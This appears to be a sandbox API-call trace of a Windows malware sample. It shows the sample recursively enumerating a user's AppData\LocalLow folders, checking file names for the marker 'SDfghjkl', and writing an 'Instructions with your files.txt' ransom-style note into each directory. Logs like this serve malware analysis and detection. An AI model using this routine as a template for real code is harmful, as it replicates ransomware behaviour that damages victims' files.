[0131.163] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.163] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.163] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.164] CloseHandle (hObject=0x11c) returned 1
[0131.164] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.164] GetProcessHeap () returned 0x810000
[0131.164] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.164] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
[0131.164] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services") returned 87
[0131.164] GetProcessHeap () returned 0x810000
[0131.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.164] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*") returned 89
[0131.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.165] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\.") returned 89
[0131.165] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.165] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\..") returned 90
[0131.165] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.165] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\Instructions with your files.txt") returned 120
[0131.165] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\services\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.165] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.166] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.166] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.166] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.166] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.167] CloseHandle (hObject=0x11c) returned 1
[0131.167] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.167] GetProcessHeap () returned 0x810000
[0131.167] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.167] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 0
[0131.167] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Instructions with your files.txt") returned 111
[0131.167] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.167] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.168] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.168] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.168] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.168] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.168] CloseHandle (hObject=0x118) returned 1
[0131.168] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.169] GetProcessHeap () returned 0x810000
[0131.169] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.170] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0
[0131.170] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Instructions with your files.txt") returned 93
[0131.170] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.170] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.171] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.171] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.171] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.171] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.171] CloseHandle (hObject=0x114) returned 1
[0131.172] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.172] GetProcessHeap () returned 0x810000
[0131.172] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.172] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1
[0131.172] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun") returned 54
[0131.172] GetProcessHeap () returned 0x810000
[0131.172] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.172] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*") returned 56
[0131.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.173] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\.") returned 56
[0131.173] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.173] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\..") returned 57
[0131.173] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1
[0131.173] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java") returned 59
[0131.173] GetProcessHeap () returned 0x810000
[0131.173] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.174] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*") returned 61
[0131.174] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.174] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\.") returned 61
[0131.174] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.174] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\..") returned 62
[0131.175] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AU", cAlternateFileName="")) returned 1
[0131.175] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU") returned 62
[0131.175] GetProcessHeap () returned 0x810000
[0131.175] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.176] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*") returned 64
[0131.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.177] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\.") returned 64
[0131.177] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.177] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\..") returned 65
[0131.177] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8e062, dwReserved0=0x0, dwReserved1=0x0, cFileName="au.cab", cAlternateFileName="")) returned 1
[0131.177] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab") returned 69
[0131.177] StrStrIW (lpFirst="au.cab", lpSrch="SDfghjkl") returned 0x0
[0131.177] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 1
[0131.177] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi") returned 69
[0131.177] StrStrIW (lpFirst="au.msi", lpSrch="SDfghjkl") returned 0x0
[0131.177] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 0
[0131.177] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\Instructions with your files.txt") returned 95
[0131.177] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.177] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.178] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.178] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.178] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.179] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.179] CloseHandle (hObject=0x11c) returned 1
[0131.179] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.179] GetProcessHeap () returned 0x810000
[0131.179] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.179] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1
[0131.179] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment") returned 70
[0131.179] GetProcessHeap () returned 0x810000
[0131.179] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.179] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*") returned 72
